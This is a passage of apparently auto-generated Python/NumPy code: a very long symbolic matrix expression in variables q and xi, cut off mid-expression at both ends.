4.44444444444444*xi**2*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)) + (-2405279374.73864*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 - 898984.910836762*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 6320.98765432099*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + 30441817.0865359*(8*q[0, 0] - 4*q[1, 0] - 4*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 53.3333333333333*q[0, 0] + 26.6666666666667*q[1, 0] + 26.6666666666667*q[2, 0])*(60131984.3684659*xi**9*(-4*q[3, 0] - 4*q[4, 0] + 8*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 + 60131984.3684659*xi**9*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 - 1522090.85432679*xi**7*(-3*q[3, 0] - 3*q[4, 0] + 6*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 1522090.85432679*xi**7*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 + 22474.6227709191*xi**5*(-2*q[3, 0] - 2*q[4, 0] + 4*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) + 22474.6227709191*xi**5*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 79.0123456790123*xi**3*(-2*q[3, 0] - 2*q[4, 0] + 4*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45) - 79.0123456790123*xi**3*(2*q[3, 0]**2 - 2*q[3, 0]*q[4, 0] - 2*q[3, 0]*q[5, 0] + 2*q[4, 0]**2 - 2*q[4, 0]*q[5, 0] + 2*q[5, 0]**2) + (1/3)*xi), 0, 0, 0, 0, 0, 0, 0, 0, 0], [-99887.2123151958*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + 5073636.18108931*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(6*q[0, 0] - 3*q[1, 0] - 3*q[2, 0])*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 160351958.315909*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(8*q[0, 0] - 4*q[1, 0] - 4*q[2, 0])*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 160351958.315909*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 5073636.18108931*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 99887.2123151958*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 4.44444444444444*numpy.sqrt(3)*(q[1, 0] - q[2, 0]) + 1053.49794238683*numpy.sqrt(3)*(2*q[0, 0] - q[1, 0] - q[2, 0])**2*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45) + 1053.49794238683*numpy.sqrt(3)*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + (252839.506172839*(q[1, 0] - q[2, 0])**2*(2*q[0, 0] - q[1, 0] - q[2, 0]) - 23972930.955647*(q[1, 0] - q[2, 0])**2*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + 1217672683.46143*(q[1, 0] - q[2, 0])**2*(6*q[0, 0] - 3*q[1, 0] - 3*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 38484469995.8182*(q[1, 0] - q[2, 0])**2*(8*q[0, 0] - 4*q[1, 0] - 4*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3)*(-160351958.315909*numpy.sqrt(3)*xi**10*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 5073636.18108931*numpy.sqrt(3)*xi**8*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 99887.2123151958*numpy.sqrt(3)*xi**6*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 1053.49794238683*numpy.sqrt(3)*xi**4*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 4.44444444444444*numpy.sqrt(3)*xi**2*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)) + (12641.975308642*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0]) - 1797969.82167352*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + 121767268.346143*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(6*q[0, 0] - 3*q[1, 0] - 3*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 4810558749.47727*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(8*q[0, 0] - 4*q[1, 0] - 4*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3)*(60131984.3684659*xi**9*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 - 1522090.85432679*xi**7*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 + 22474.6227709191*xi**5*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 79.0123456790123*xi**3*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(2*q[3, 0]**2 - 2*q[3, 0]*q[4, 0] - 2*q[3, 0]*q[5, 0] + 2*q[4, 0]**2 - 2*q[4, 0]*q[5, 0] + 2*q[5, 0]**2) + (1/3)*xi*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)) + 2106.99588477366*numpy.sqrt(3)*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + (-160351958.315909*xi**10*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 5073636.18108931*xi**8*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 99887.2123151958*xi**6*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 1053.49794238683*xi**4*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 4.44444444444444*xi**2*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45))*(84279.8353909465*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])**2 - 7990976.98521566*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + 405890894.487145*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(6*q[0, 0] - 3*q[1, 0] - 3*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 12828156665.2727*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(8*q[0, 0] - 4*q[1, 0] - 4*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 25656313330.5455*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 811781788.97429*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 15981953.9704313*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 168559.670781893*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 711.111111111111*numpy.sqrt(3)*(q[1, 0] - q[2, 0])), -160351958.315909*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(-4*q[0, 0] + 8*q[1, 0] - 4*q[2, 0])*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 5073636.18108931*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(-3*q[0, 0] + 6*q[1, 0] - 3*q[2, 0])*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 99887.2123151958*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(-2*q[0, 0] + 4*q[1, 0] - 2*q[2, 0])*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 160351958.315909*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 5073636.18108931*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 99887.2123151958*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 4.44444444444444*numpy.sqrt(3)*(q[1, 0] - q[2, 0]) + 1053.49794238683*numpy.sqrt(3)*(-q[0, 0] + 2*q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45) + 1053.49794238683*numpy.sqrt(3)*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 160351958.315909*numpy.sqrt(3)*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 5073636.18108931*numpy.sqrt(3)*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 99887.2123151958*numpy.sqrt(3)*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 1053.49794238683*numpy.sqrt(3)*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 4.44444444444444*numpy.sqrt(3)*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45) + (60131984.3684659*xi**9*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 - 1522090.85432679*xi**7*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 + 22474.6227709191*xi**5*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 79.0123456790123*xi**3*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(2*q[3, 0]**2 - 2*q[3, 0]*q[4, 0] - 2*q[3, 0]*q[5, 0] + 2*q[4, 0]**2 - 2*q[4, 0]*q[5, 0] + 2*q[5, 0]**2) + (1/3)*xi*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45))*(-4810558749.47727*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(-4*q[0, 0] + 8*q[1, 0] - 4*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 121767268.346143*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(-3*q[0, 0] + 6*q[1, 0] - 3*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 1797969.82167352*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(-2*q[0, 0] + 4*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + 12641.975308642*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(-q[0, 0] + 2*q[1, 0] - q[2, 0]) - 4810558749.47727*numpy.sqrt(3)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 121767268.346143*numpy.sqrt(3)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 1797969.82167352*numpy.sqrt(3)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 12641.975308642*numpy.sqrt(3)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 26.6666666666667*numpy.sqrt(3)) + (-160351958.315909*xi**10*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 5073636.18108931*xi**8*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 99887.2123151958*xi**6*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 1053.49794238683*xi**4*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 4.44444444444444*xi**2*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45))*(12828156665.2727*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(-4*q[0, 0] + 8*q[1, 0] - 4*q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 405890894.487145*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(-3*q[0, 0] + 6*q[1, 0] - 3*q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 7990976.98521566*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(-2*q[0, 0] + 4*q[1, 0] - 2*q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + 84279.8353909465*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(-q[0, 0] + 2*q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0]) - 12828156665.2727*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 - 405890894.487145*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 7990976.98521566*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 84279.8353909465*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + 355.555555555555*numpy.sqrt(3)*(q[1, 0] - q[2, 0]) + 12828156665.2727*numpy.sqrt(3)*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 405890894.487145*numpy.sqrt(3)*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 7990976.98521566*numpy.sqrt(3)*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 84279.8353909465*numpy.sqrt(3)*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 355.555555555555*numpy.sqrt(3)*(2*q[0, 0] - q[1, 0] - q[2, 0])) + (-160351958.315909*numpy.sqrt(3)*xi**10*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 5073636.18108931*numpy.sqrt(3)*xi**8*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 99887.2123151958*numpy.sqrt(3)*xi**6*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 1053.49794238683*numpy.sqrt(3)*xi**4*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 4.44444444444444*numpy.sqrt(3)*xi**2*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45))*((-76968939991.6364*q[1, 0] + 76968939991.6364*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + (-47945861.911294*q[1, 0] + 47945861.911294*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 38484469995.8182*(q[1, 0] - q[2, 0])**2*(-4*q[0, 0] + 8*q[1, 0] - 4*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 1217672683.46143*(q[1, 0] - q[2, 0])**2*(-3*q[0, 0] + 6*q[1, 0] - 3*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 23972930.955647*(q[1, 0] - q[2, 0])**2*(-2*q[0, 0] + 4*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + 252839.506172839*(q[1, 0] - q[2, 0])**2*(-q[0, 0] + 2*q[1, 0] - q[2, 0]) + (505679.012345679*q[1, 0] - 505679.012345679*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + (2435345366.92287*q[1, 0] - 2435345366.92287*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 2133.33333333333*q[1, 0] + 2133.33333333333*q[2, 0]), -160351958.315909*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(-4*q[0, 0] - 4*q[1, 0] + 8*q[2, 0])*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 5073636.18108931*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(-3*q[0, 0] - 3*q[1, 0] + 6*q[2, 0])*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 99887.2123151958*numpy.sqrt(3)*(q[1, 0] - q[2, 